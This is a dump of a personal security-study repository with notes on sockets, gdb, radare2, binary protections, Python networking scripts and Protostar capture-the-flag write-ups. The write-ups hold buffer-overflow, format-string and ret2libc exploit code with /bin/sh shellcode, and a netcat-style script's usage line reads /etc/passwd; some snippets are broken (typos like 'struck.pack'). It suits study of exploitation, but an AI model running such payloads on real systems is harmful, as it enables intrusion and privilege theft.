├── .gitignore ├── exploitation ├── protostar │ ├── README.md │ ├── format.md │ └── stack.md ├── pwntools │ ├── README.md │ ├── challenges │ │ └── be-quick-or-be-dead-1 │ └── patching-binaries-with-pwntools.md ├── sockets │ ├── README.md │ ├── 03-connections-with-pwntools.md │ ├── 01-basic-server-and-client-sockets.md │ └── 02-multiple-connections-server.md └── README.md ├── python ├── patternGen.py ├── UDPClient.py ├── TCPClient.py ├── TCPServer.py └── bhpnet.py ├── reverse-engineering ├── README.md ├── radare2.md ├── binary-protections.md ├── gdb.md ├── registersanddatatypes.md └── x86-hello-world.md ├── LICENSE ├── SUMMARY.md ├── README.md ├── python.md ├── web.md ├── .gitbook └── assets │ └── x86helloworld.md └── web └── Scripts └── linuxprivchecker.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pdf 2 | -------------------------------------------------------------------------------- /exploitation/protostar/README.md: -------------------------------------------------------------------------------- 1 | # Protostar 2 | 3 | -------------------------------------------------------------------------------- /exploitation/pwntools/README.md: -------------------------------------------------------------------------------- 1 | # Pwntools 2 | 3 | -------------------------------------------------------------------------------- /exploitation/sockets/README.md: -------------------------------------------------------------------------------- 1 | # Sockets 2 | 3 | -------------------------------------------------------------------------------- /exploitation/pwntools/challenges/be-quick-or-be-dead-1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Es7evam/Security-Studies/HEAD/exploitation/pwntools/challenges/be-quick-or-be-dead-1 -------------------------------------------------------------------------------- /python/patternGen.py: -------------------------------------------------------------------------------- 1 | padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ" 2 | print (padding) 3 | chr(0x51) #prints char that is 0x51 (Q) 4 | 5 | padding += "\x24\x84\x04\x08" #0x08 04 84 24 -> Little endian address 6 | -------------------------------------------------------------------------------- /exploitation/README.md: -------------------------------------------------------------------------------- 1 | # Exploitation 2 | 3 | Exploitation is defined as "the action of making use of and benefiting from resources", and that's what we'll be learning to do in this part. 4 | 5 | **Content:** 6 | 7 | * [Sockets](sockets/) - Studies related to basic concepts and usages of sockets with Python. 8 | * [Pwntools](pwntools/) - A couple of tutorials about python library pwntools. 9 | * [Protostar](protostar/) - The writeup of Protostar series of [exploit.education](https://exploit.education) 10 | 11 | -------------------------------------------------------------------------------- /python/UDPClient.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import socket 4 | 5 | target_host = "127.0.0.1" #Set localhost 6 | target_port = 80 7 | 8 | #create a socket object 9 | # SOCK_DGRAM -> Specity it is and UDP connection 10 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 11 | 12 | #send some data 13 | client.sendto("AAABBBCCC", (target_host, target_port)) 14 | 15 | #receive some Data 16 | # since UDP is a connectionless protocol we need to specify the connect 17 | data, addr = client.recvfrom(4096) 18 | 19 | print data 20 | -------------------------------------------------------------------------------- /exploitation/protostar/format.md: -------------------------------------------------------------------------------- 1 | # Format 1 2 | 3 | Format string vulnerabilities. \(Memory Leak\) 4 | Functions are called simply by placing they're address at the stack 5 | 6 | 7 | Using `objdump -t` we can find the target address. Since the program arguments are symply stored at the stack 8 | 9 | ```text 10 | ./format1 "`python -c "print 'AAAA' + '\x38\x96\x04\x08' + 'BBBB' + '%x '*127 + '%n '"`" 11 | ``` 12 | 13 | ```python 14 | def pad(s): 15 | return (s+"A"*500)[:500] #returns only first 500 chars 16 | 17 | pad("Hello") 18 | ``` 19 | 20 | -------------------------------------------------------------------------------- /python/TCPClient.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | import socket 3 | 4 | target_host = "www.google.com" 5 | target_port = 80 6 | 7 | #create socket object 8 | # AF_INET -> Say that we use IPv4 address or hostname 9 | # SOCK_STREAM -> Indicate this will be a TCP connection. 10 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 11 | 12 | #connect client 13 | client.connect((target_host, target_port)) 14 | 15 | #send Data 16 | client.send("GET / HTTP/1.1\r\nHost:google.com\r\n\r\n") 17 | 18 | #receive data 19 | response = client.recv(4096) #recv 4096 bytes 20 | 21 | print response 22 | -------------------------------------------------------------------------------- /python/TCPServer.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import socket 4 | import threading 5 | 6 | bind_ip = "0.0.0.0" 7 | bind_port = 9999 8 | 9 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | 11 | server.bind((bind_ip, bind_port)) 12 | server.listen(5) 13 | 14 | print "[*] Listening on %s:%d" % (bind_ip, bind_port) 15 | 16 | #client handling thread 17 | def handle_client(client_socket): 18 | #print out things sent by client 19 | request = client_socket.recv(1024) 20 | print "[*] Received: %s" % request 21 | 22 | #send back a packet 23 | client_socket.send("ACK!") 24 | client_socket.close() 25 | 26 | while True: 27 | client,addr = server.accept() 28 | print "[*] Accepted connection from: %s:%d" (addr[0], addr[1]) #ip and port 29 | 30 | #spin up our client thread to handle incoming data 31 | client_handler = threading.Thread(target=handle_client,args=(client,)) 32 | client_handler.start() 33 | -------------------------------------------------------------------------------- /reverse-engineering/README.md: -------------------------------------------------------------------------------- 1 | # Reverse Engineering 2 | 3 | Here I'll be studying and taking notes on reverse engineering in general. 4 | Later on I plan to organize this in a way that has a planned sequence and flow, but for now I recommend you to go on this order: 5 | 6 | * [Registers and Data Types](registersanddatatypes.md) - Explanations about Registers, Data Types and Instructions 7 | * [x86 Assembly Hello World](x86-hello-world.md) - A "simple" detailed x86 Hello World 8 | * [gdb](gdb.md) - Gnu Project Debugger 9 | * [Radare2](radare2.md) - Forensics tool, a scriptable commandline hexadecimal editor able to open disk files, binary analyzer, disassembler, debugger, attaching to remote gdb servers 10 | 11 | ## References 12 | 13 | * [Practical Reverse Engineering](https://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation/dp/1118787315) - By [Bruce Dang](https://www.amazon.com/Bruce-Dang/e/B00IHK3NT0) 14 | * [Live overflow - Binary Hacking](https://www.youtube.com/watch?v=iyAyN3GFM7A&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN) 15 | 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Estevam 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /SUMMARY.md: -------------------------------------------------------------------------------- 1 | # Table of contents 2 | 3 | * [Security Studies](README.md) 4 | * [Exploitation](exploitation/README.md) 5 | * [Sockets](exploitation/sockets/README.md) 6 | * [Basic Sockets](exploitation/sockets/01-basic-server-and-client-sockets.md) 7 | * [Multiple Connections Server](exploitation/sockets/02-multiple-connections-server.md) 8 | * [Connections with pwntools](exploitation/sockets/03-connections-with-pwntools.md) 9 | * [Pwntools](exploitation/pwntools/README.md) 10 | * [Patching binaries with pwntools](exploitation/pwntools/patching-binaries-with-pwntools.md) 11 | * [Protostar](exploitation/protostar/README.md) 12 | * [Format 1](exploitation/protostar/format.md) 13 | * [Protostar](exploitation/protostar/stack.md) 14 | * [Python Codes](python.md) 15 | * [Reverse Engineering](reverse-engineering/README.md) 16 | * [Registers and Data Types](reverse-engineering/registersanddatatypes.md) 17 | * [x86 Hello World](reverse-engineering/x86-hello-world.md) 18 | * [Binary Protections](reverse-engineering/binary-protections.md) 19 | * [GDB](reverse-engineering/gdb.md) 20 | * [Radare 2](reverse-engineering/radare2.md) 21 | * [Web](web.md) 22 | 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Security Studies 2 | 3 | This is the repository where I'll try to keep some of my InfoSec study material. They'll be separated in folders, each one representing some category and, inside that, several [Markdown](https://en.wikipedia.org/wiki/Markdown) files where the notes will be kept, together with a README.md file, indicating the order I recommend you to read it. 4 | 5 | * This is not the final version and will keep on updating. Feel free to contribute. 6 | * This can be read as a [Gitbook](https://es7evam.gitbook.io/security-studies/). 7 | * The source can be found on [Github](https://github.com/Es7evam/Security-Studies/). 8 | 9 | ## Table of Contents 10 | 11 | 1. [Exploitation](exploitation/) 12 | 2. [Python](python.md) 13 | 3. [Reverse-Engineering](reverse-engineering/) 14 | 4. [Web](web.md) 15 | 16 | ## Author 17 | 18 | * **Estevam Arantes** - [Es7evam](https://github.com/Es7evam) 19 | 20 | See also the list of [contributors](https://github.com/Es7evam//contributors) who participated in this project. 21 | 22 | ## License 23 | 24 | This project is licensed under the MIT License - see the [LICENSE](https://github.com/Es7evam/Security-Studies/blob/master/LICENSE) file for details 25 | 26 | -------------------------------------------------------------------------------- /python.md: -------------------------------------------------------------------------------- 1 | # Python Codes 2 | 3 | Here I'll post some of my codes referent to python studies. The codes will be mainly using python 2.7. That is always indicated at the top of each one. Some of them are at the book [Black Hat Python](https://books.google.com.br/books/about/Black_Hat_Python.html?id=Jb7VBgAAQBAJ&printsec=frontcover&source=kp_read_button&redir_esc=y#v=onepage&q&f=false). Most of them not 100% equal to it. Most of the files will have comments trying to explain in a few words what the new commands do. 4 | 5 | ## Networking 6 | 7 | * [TCP Client](https://github.com/Es7evam/Security-Studies/tree/c2582d3cae736dd0a22e16cdc167c8db55dc1352/python/TCPClient.py) 8 | * [UDP Client](https://github.com/Es7evam/Security-Studies/tree/c2582d3cae736dd0a22e16cdc167c8db55dc1352/python/UDPClient.py) 9 | * [TCP Server](https://github.com/Es7evam/Security-Studies/tree/c2582d3cae736dd0a22e16cdc167c8db55dc1352/python/TCPServer.py) 10 | * [Bhpnet](https://github.com/Es7evam/Security-Studies/tree/c2582d3cae736dd0a22e16cdc167c8db55dc1352/python/bhpnet.py) - Netcat simplification mimic. 11 | 12 | ## References 13 | 14 | * [Black Hat Python](https://books.google.com.br/books/about/Black_Hat_Python.html?id=Jb7VBgAAQBAJ&printsec=frontcover&source=kp_read_button&redir_esc=y#v=onepage&q&f=false) 15 | 16 | -------------------------------------------------------------------------------- /reverse-engineering/radare2.md: -------------------------------------------------------------------------------- 1 | # Radare 2 2 | 3 | "R2" is a rewrite from scratch of radare in order to provide a set of libraries and tools to work with binary files. 4 | 5 | ## Basics and Running 6 | 7 | In order to run Radare 8 | 9 | ```text 10 | r2 programName 11 | ``` 12 | 13 | Start radare with -d flag to debug like gdb. 14 | 15 | 16 | Like in vim, you can enter command mode with : 17 | 18 | ## Commands 19 | 20 | * ?        Get information about characters you can use \(also works like a?\) 21 | * aaa        Automatically analyse and autoname functions. 22 | * afl        Print every function radare found. 23 | * s   `newLocation`        Change current location to newLocation \(example sym.main\). 24 | * pdf        Print the disassembly of current function. 25 | * VV        Enter visual mode, showing control graph 26 | 27 | ### Control Flow 28 | 29 | When running the control flow you will notice that rip \(instruction pointer register is at the execution\) 30 | 31 | | Command | Action | Example | 32 | | :---: | :--- | :---: | 33 | | `db address` | Sets breakpoint at address | `db 0x004005bd` | 34 | | `dc` | Runs the program | - | 35 | | `s` | Step to next instruction | - | 36 | | `S` | Step to next non-library function | - | 37 | | `dr` | Show what is in registers | - | 38 | | `ood` | Reload file in debug mode | - | 39 | | `dr reg=value` | Sets reg to value | `dr=rip0x0040064b` | 40 | | `afvn prevName newName` | Renames variable | `afvn local_2_4 sum` | 41 | | `V!` | Change to complete info grid | - | 42 | 43 | ### Visual Mode 44 | 45 | | Command | Action | 46 | | :---: | :--- | 47 | | `tab` and `shift+tab` | select blocks | 48 | | `shift+hjkl` | move the block | 49 | | `p` | Cycle within different representations \(with or without address in beginning for example\) | 50 | | `?` | Show Help | 51 | | `shift + r` | change colors | 52 | 53 | -------------------------------------------------------------------------------- /exploitation/sockets/03-connections-with-pwntools.md: -------------------------------------------------------------------------------- 1 | # Connections with pwntools 2 | 3 | [Pwntools](https://github.com/Gallopsled/pwntools), in case you don't know is a CTF framework and exploit development library for Python 2. 4 | 5 | It is designed for rapid prototyping and development and it will make our jobs with connections much simpler. 6 | 7 | ## Making Connections 8 | 9 | In most of the pwning challenges in CTF the binary is hosted remotely, so we connect to it using netcat, sockets or `pwntools`. For that, pwntools has the `pwntools.tubes` module, that will help us connect to a server. 10 | 11 | For example, if you want to connect to a remote ftp server, using the `pwnlib.tubes.remote` 12 | 13 | ```python 14 | from pwn import * 15 | 16 | conn = remote('ftp.ubuntu.com',21) 17 | conn.recvline() 18 | #'220 FTP server (vsftpd)' 19 | conn.send('USER anonymous\r\n') 20 | conn.recvuntil(' ', drop=True) 21 | #'331' 22 | conn.recvline() 23 | #'Please specify the password.\r\n' 24 | conn.close() 25 | ``` 26 | 27 | In this case, at the first line we create the socket using `remote`, at the ip address of the domain `ftp.ubuntu.com` and port `21`. The first command receives a line that was sent by the server. It returns the line as a string format. In the code above the return is written as comments. Then, it send some information with `send`, without the need to specify amount of bytes to be sent. Another method that's pretty useful is the `recvuntil`, that will receive data until the string specified is found. 28 | 29 | ### Setting up a listener 30 | 31 | In order to setup a listener it is as simple as with the client. 32 | 33 | ```python 34 | from pwn import * 35 | 36 | l = listen(9999) 37 | r = remote('localhost', 9999) 38 | svr = l.wait_for_connection() 39 | r.send('hello') 40 | print svr.recv() 41 | ``` 42 | 43 | The code above sets up a listener `l` and a client `r` at the port `9999`, or `l.lport` in this case. 44 | 45 | Then, the server sets up the listener to wait for the connection, then the remote client sends a `hello`, which is echoed by the server. 46 | 47 | -------------------------------------------------------------------------------- /reverse-engineering/binary-protections.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # Binary Protections 4 | 5 | In case you already tried to make some reverse engineering challenge yourself, you've probably stumbled into some problems like "why the hell is this not working as it was supposed to" or "why is this not executing correctly" or even "wow I'm so dumb". 6 | And probably it was because of some of the protections gcc includes when compiling a binary. 7 | 8 | ## PIE - Position Independent Code 9 | 10 | Pie, or position independent code, is one of the most common protections. 11 | It means that the machine code that, being placed somewhere in primary memory, executes properly regardless of its absolute address. 12 | 13 | Let's see an example of a `HelloWorld.c` code so it's clearer 14 | 15 | ```c 16 | #include 17 | 18 | int main(){ 19 | printf("Hello World"); 20 | } 21 | ``` 22 | 23 | Compiling and disassembling the binary using gdb (I am using peda extension, but that's not necessary) 24 | 25 | ```bash 26 | gcc helloworld.c -o helloworld 27 | gdb helloworld 28 | disassemble main 29 | ``` 30 | 31 | ![1552952052699](/home/estevam/.config/Typora/typora-user-images/1552952052699.png) 32 | 33 | Above we see the code disassembly when not running. If you pay attention to the addresses, they start with 0x0...000 and then there is the address of the instruction. 34 | 35 | If we run the program and try to disassemble it again, see what happens: 36 | 37 | ![1552952303509](/home/estevam/.config/Typora/typora-user-images/1552952303509.png) 38 | 39 | As you can see, the address now is a little bit different, what makes exploitation harder because this will change based on when and where the code is executed. 40 | 41 | So, in order to disable, simply compile like this: 42 | 43 | ```bash 44 | gcc helloworld.c -o helloworld -no-pie 45 | ``` 46 | 47 | Then we have the new disassembly: 48 | 49 | ![1552952617724](/home/estevam/.config/Typora/typora-user-images/1552952617724.png) 50 | 51 | If we run the code and disassemble the main, the addresses of the instructions will be the same. Try for yourself! 52 | 53 | ## Exec Stack 54 | 55 | ## ASLR 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /web.md: -------------------------------------------------------------------------------- 1 | # Web 2 | 3 | Web is usually the entry point at security in general. 4 | 5 | 6 | Here I'll be mainly covering some tools that can help you when you do things related to web pentesting. 7 | 8 | 9 | In the future I plan to write a guide on what you should usually do in each situation, but remember that's not a rule. 10 | 11 | ## Table of Contents 12 | 13 | 1. [Enumerating](web.md#enumerating) 14 | 2. [Payloads and Reverse Shells](web.md#payloads) 15 | 3. [Scripts](web.md#scripts) 16 | 4. [Cheat Sheets](web.md#cheatsheets) 17 | 18 | ### Initial Enumerating 19 | 20 | * [nmap](https://nmap.org/) - Nmap is an utility for network discovery and security auditing 21 | * [dirb](http://dirb.sourceforge.net/), [dirsearch](https://github.com/maurosoria/dirsearch) and [Gobuster](https://github.com/OJ/gobuster) are file and directories bruteforcers. Gobuster also scans for DNS subdomains. 22 | * [WPScan](https://wpscan.org/) - A black box WordPress vulnerability scanner. 23 | 24 | ### Payloads and Reverse Shells 25 | 26 | * [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - A list of useful payloads and bypass for Web Application Security and Pentest/CTF. 27 | * [PHP Web Shells](https://github.com/JohnTroony/php-webshells) - Common PHP shells. 28 | 29 | ### Scripts 30 | 31 | * [LinuxPrivChecker](https://github.com/Es7evam/Security-Studies/tree/c2582d3cae736dd0a22e16cdc167c8db55dc1352/Scripts/linuxprivchecker.py) - Script made to enumerate basic system info and search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text passwords and applicable exploits. 32 | * [LinEnum](https://github.com/rebootuser/LinEnum) - Scripted Local Linux Enumeration & Privilege Escalation Checks 33 | 34 | ### Cheat Sheets 35 | 36 | * [Local Linux Enumeration & Privilege Escalation](https://www.rebootuser.com/?p=1623) 37 | * [Pentest Monkey Reverse Shell Cheat Sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) 38 | * [SQL Injection Cheat Sheet - Netsparker](https://the-eye.eu/public/Books/qt.vidyagam.es/library/SQL/SQL%20Injection%20Cheat%20Sheet/SQL%20Injection%20Cheat%20Sheet%20-%20Netsparker.pdf) 39 | 40 | -------------------------------------------------------------------------------- /exploitation/protostar/stack.md: -------------------------------------------------------------------------------- 1 | # Protostar 2 | 3 | ## Stack 0 4 | 5 | Simple buffer overflow, use python -c print "A" \* 40 6 | 7 | ## Stack 3 8 | 9 | ```python 10 | padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP" 11 | #print (padding) 12 | #chr(0x51) #prints char that is 0x51 (Q) 13 | padding += "\x24\x84\x04\x08" #0x08 04 84 24 -> Little endian address 14 | print padding 15 | ``` 16 | 17 | ## Stack 4 18 | 19 | Change the eip that was pushed to the stack, so when ret happens we go to where we want. 20 | 21 | ```python 22 | import struct 23 | padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR" 24 | ebp = "AAAA" 25 | eip = struck.pack("I", 0x080483f4) # Convert number to binary string 26 | print (padding+ebp+eip) 27 | ``` 28 | 29 | ## Stack 5 30 | 31 | Getting root privileges We use the esp to move the return of the function to writing as root 32 | 33 | ```python 34 | import struct 35 | padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS" 36 | eip = struck.pack("I", 9xbffff7c0+30) 37 | nopslide = "x90" * 100 38 | payload = "\xCC" * 4 #uses interrupt instruction 39 | print (padding+eip+nopslide+payload) 40 | ``` 41 | 42 | Using shell-storm.org /bin/sh code [shellcode](http://shell-storm.org/shellcode/files/shellcode-811.php) 43 | 44 | ```python 45 | payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 46 | ``` 47 | 48 | When executing, use the command: 49 | 50 | ```text 51 | (python exploit.py; cat) | /opt/protostar/bin/stack5 52 | ``` 53 | 54 | Then we have the shell. 55 | 56 | ## Stack 6 57 | 58 | We can get the offset related to the library using 59 | 60 | ```text 61 | strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh" 62 | ``` 63 | 64 | So, we use `info proc map` and get the address of the libc. 65 | Then, `x/s 0xlibcaddr+0xoffset`. 66 | Using `0xb7fb64bf` as example. 67 | 68 | ```python 69 | import struct 70 | padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS" 71 | system = struct.pack("I", 0xb7ecffb0) 72 | return_after_system = "AAAA" 73 | bin_sh = struct.pack(0xb7fb64bf) 74 | print padding + system + return_after_system + bin_sh 75 | ``` 76 | 77 | -------------------------------------------------------------------------------- /reverse-engineering/gdb.md: -------------------------------------------------------------------------------- 1 | # GDB 2 | 3 | gdb stands for GNU Project Debugger. 4 | It is, as the name says, a debugger, and can be used in reverse engineering in order to disassemble and analyze binary files. 5 | 6 | ## Running and Disassembling 7 | 8 | In order to run it, you must execute: 9 | 10 | ```text 11 | gdb programName 12 | ``` 13 | 14 | So, the default syntax of gdb is AT&T. Since here we mainly use Intel syntax we may change it using 15 | 16 | ```text 17 | set disassembly-flavor intel 18 | ``` 19 | 20 | So, in order to disassemble a function you must use 21 | 22 | ```text 23 | disassemble main 24 | ``` 25 | 26 | It is important to notice that the program will be as it shows in memory, but you can use another software in order to visualize better the control flow of it. 27 | 28 | ## GDB Commands 29 | 30 | If only `Enter` is pressed the last it is equivalent to typing and running the last command again. 31 | 32 | ### Control Flow 33 | 34 | * `run arg1, arg2...` 35 | 36 | 37 |        Runs the program and, if provided, with the arguments arg1, arg2, ... 38 | 39 | * `break *address` 40 | 41 | 42 |        Sets a breakpoint at the given address. Can be used with function name insted of address. 43 | 44 | * `del` 45 | 46 | 47 |        Removes all the breakpoints 48 | 49 | * `si` 50 | 51 | 52 |        Step one instruction 53 | 54 | * `ni` 55 | 56 | 57 |        Like si, but not showing execution of function calls \(skipping them\). 58 | 59 | * `set $eax=x` 60 | 61 | 62 |        Sets register \(eax for example\) with value given 'x' 63 | 64 | * `define hook-stop` 65 | 66 | 67 |        Define hook of stops, like the example below: 68 | 69 | ```text 70 | define hook-stop 71 | info registers 72 | x/24wx $esp 73 | x/2i $eip 74 | end 75 | ``` 76 | 77 | ### Registers 78 | 79 | * `info registers` 80 | 81 | 82 |        Shows the value at the registers of the given program at that moment 83 | 84 | * `x/wx $reg` 85 | 86 | 87 |        Prints register "reg" content as hexadecimal 88 | 89 | * `x/s $reg` 90 | 91 | 92 |        Prints register "reg" content as ascii 93 | 94 | * `x/24wx $esp` 95 | 96 | 97 |        Prints the stack of the program \(24 words\) 98 | 99 | * `x/2i $eip` 100 | 101 | 102 |        Prints the next two instructions. 103 | 104 | * `x function` 105 | 106 | 107 |        Prints address of function 108 | 109 | * `p function` 110 | 111 | 112 |        Prints the address and return type of function 113 | 114 | * `info proc mappings` 115 | 116 | 117 |        Show the map of memory 118 | 119 | -------------------------------------------------------------------------------- /python/bhpnet.py: -------------------------------------------------------------------------------- 1 | #!/bin/python2 2 | 3 | import sys 4 | import socket 5 | import getopt 6 | import threading 7 | import subprocess 8 | 9 | # global variables 10 | listen = False 11 | command = False 12 | upload = False 13 | execute = "" 14 | target = "" 15 | upload_destination = "" 16 | port = 0 17 | 18 | def usage: 19 | print "BHP Net Tool" 20 | print 21 | print "Usage: bhpnet.py -t target_host -p port" 22 | print "-l --listen - listen on [host]:[port] \ 23 | for incoming connections" 24 | print "-e --execute=file_to_run - execute the given file upon \ 25 | receiving a connection" 26 | print "-c --command - initialize a command shell" 27 | print "-u --upload=destination - upon receiving connection upload \ 28 | a file and write to [destination]" 29 | print 30 | print 31 | print "Examples: " 32 | print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" 33 | print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c://target.exe 34 | print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\" " 35 | print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135" 36 | sys.exit(0) 37 | 38 | def main(): 39 | global listen 40 | global port 41 | global execute 42 | global command 43 | global upload_destination 44 | global target 45 | 46 | if not len(sys.argv[1:]): 47 | usage() 48 | 49 | #read the commandline options 50 | try: 51 | opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:c:u", \ 52 | ["help","listen","execute","target","port","command","upload"]) 53 | except getopt.GetoptError as err: 54 | print str(err) 55 | usage() 56 | 57 | for o,a in opts: 58 | if o in ("-h", "--help"): 59 | usage() 60 | elif o in ("-l", "--listen"): 61 | listen = True 62 | elif o in ("-e", "--execute"): 63 | execute = a 64 | elif o in ("-c", "--commandshell"): 65 | command = True 66 | elif o in ("-u", "--upload"): 67 | upload_destination = a 68 | elif o in ("-t", "--target"): 69 | target = a 70 | elif o in ("-p", "--port"): 71 | port = int(a) 72 | else: 73 | assert False, "Unhandled Option" 74 | 75 | # are we going to listen or just send data from stdin? 76 | if not listen and len(target) and port > 0: 77 | # read buffer from commandline 78 | # this will block, so send CTRL-D if not sending input 79 | buffer = sys.stdin.read() 80 | 81 | # send data off 82 | client_sender(buffer) 83 | 84 | #if listen, potentially upload things, etc 85 | if listen: 86 | server_loop() 87 | 88 | def __init__: 89 | main() 90 | -------------------------------------------------------------------------------- /exploitation/sockets/01-basic-server-and-client-sockets.md: -------------------------------------------------------------------------------- 1 | # Basic Sockets 2 | 3 | A network socket is basically a endpoint of two or more processes communicating over a network. 4 | 5 | ## Sockets in Python 6 | 7 | To create a socket in python, there is a function called socked. It accept family, type and proto arguments. 8 | 9 | To create a TCP-socket, you should use `socket.AF_INET` or `socket.AF_INET6` for family and `socket.SOCK_STREAM` for type. 10 | 11 | * The family will specify the designated addresses that your socket can communicate with. In case of `AF_INET` is ipv4 and `AF_INET6` is ipv6. You can also use families as `AF_UNIX`, `AF_IPX`, `AF_IRDA` and `AF_BLUETOOTH`, for example. 12 | * The type will specify... the type. `SOCK_STREAM` stands for TCP socket and `SOCK_DGRAM` for UDP socket. There are also another possibilities but these two will be enough for 99% of the times. 13 | 14 | So, creating a socket is this simple 15 | 16 | ```python 17 | import socket 18 | s = socket.socket(AF_INET, socket.SOCK_STREAM) 19 | ``` 20 | 21 | This returns an object \(that we called `s`\) that has the following main methods: 22 | 23 | * bind\(\) 24 | * listen\(\) 25 | * accept\(\) 26 | * connect\(\) 27 | * send\(\) 28 | * recv\(\) 29 | 30 | bind\(\), listen\(\) and accept\(\) are specific for server sockets, while connect\(\) is specific for client sockets and send\(\) and recv\(\) are common for both types. 31 | 32 | ### Creating a TCP Socket Server 33 | 34 | Here is an example of a server that echoes everything that it receives. 35 | 36 | ```python 37 | import socket 38 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 39 | s.bind(('localhost', 9999)) 40 | s.listen(1) 41 | conn, addr = s.accept() 42 | while 1: 43 | data = conn.recv(1024) 44 | if not data: 45 | break 46 | conn.sendall(data) 47 | conn.close() 48 | ``` 49 | 50 | As you can see by the code, we first create a server socket, like before. Then, we bind it to `localhost` and port `9999` and sets it to listen for incoming connections, that means that every application in your pc that tries to communicate with your localhost at port 9999 will "talk" with this socket. When this application connects itself to the socket, the server will generate a connection and the address of the client, or in this case, the application. 51 | 52 | Then, while the connection exists, the server will receive \(or `recv`\) batches of 1024 bytes \(note that this doesn't mean that the client will need to send 1024 bytes\). 53 | 54 | After that, it sends back all the data to the client using sendall, that in this case will use batches of `send` internally until all the data is sent. 55 | 56 | Then, after the loop, it closes the connection. 57 | 58 | Notice that in this example only one connection can be served at a time, since there is no `accept()` in the cycle. 59 | 60 | ### Creating a TCP Socket Client 61 | 62 | A client-side code looks much simpler 63 | 64 | ```python 65 | import socket 66 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 67 | s.connect(('localhost', 9999)) 68 | s.sendall('Hello world!') 69 | data = s.recv(1024) 70 | s.close() 71 | print 'Received', repr(data) 72 | ``` 73 | 74 | As before, a socket object is created and attributed to `s`. 75 | 76 | Then, it connects to the server running at `localhost` and port `9999`, sending the message `Hello world!` using `sendall`, already mentioned. 77 | 78 | Following that, it receives a batch of 1024 bytes of data from the server and closes the connection. 79 | 80 | In the end, it prints `Received`, together with the `repr`esentation as a string of the data received. 81 | 82 | -------------------------------------------------------------------------------- /reverse-engineering/registersanddatatypes.md: -------------------------------------------------------------------------------- 1 | # Registers and Data Types 2 | 3 | Here we'll be studying x86 and x86-64 architecture registers, following mainly Intel Pattern. 4 | In order to store data in general, the main "thing" we use are registers. 5 | 6 | ## Registers 7 | 8 | At x86 architecture there are eight 32-bit general purpose registers \(GPRs\), some of them can also be divided into 8 and 16-bit registers. 9 | 10 | ### General Purpose Registers 11 | 12 | | Register | Purpose | 16 - Bits | 8 Bits | 13 | | :--- | :---: | :---: | :---: | 14 | | EAX | Acumulator, used for arithmetic operations and to store results | AX | AH-AL | 15 | | EBX | Base register for the stack | - | - | 16 | | ECX | Counter in loops | - | - | 17 | | EDX | Used to store addresses of the data | - | - | 18 | 19 | ### Address Registers 20 | 21 | | Register | Purpose | 16 - Bits | | 22 | | :--- | :--- | :---: | :--- | 23 | | ESI | Source in string/memory operations | SI | | 24 | | EDI | Destination in string/memory operations | DI | | 25 | | EBP | Base Frame Pointer | BP | | 26 | | ESP | Stack Pointer | SP | | 27 | 28 | ### Another registers 29 | 30 | | Register | Purpose | 16 - Bits | 